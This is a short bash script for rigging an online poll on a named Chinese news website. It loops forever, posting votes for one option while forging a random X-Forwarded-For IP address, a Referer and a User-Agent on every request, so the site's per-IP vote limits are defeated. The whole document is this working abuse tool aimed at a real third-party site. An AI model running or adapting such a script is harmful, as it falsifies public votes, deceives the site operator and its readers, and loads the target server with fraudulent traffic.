#!/bin/bash
# author @十三乙
# vote for http://weibo.com/1680241201/y9ZarqaHo
# http://www2.lyd.com.cn:8080/ph.asp

REFERER="http://www2.lyd.com.cn:8080/ph.asp";
USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11";
while true;
do
	FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))"
	curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp" | iconv -f gb2312 -t utf-8 
done
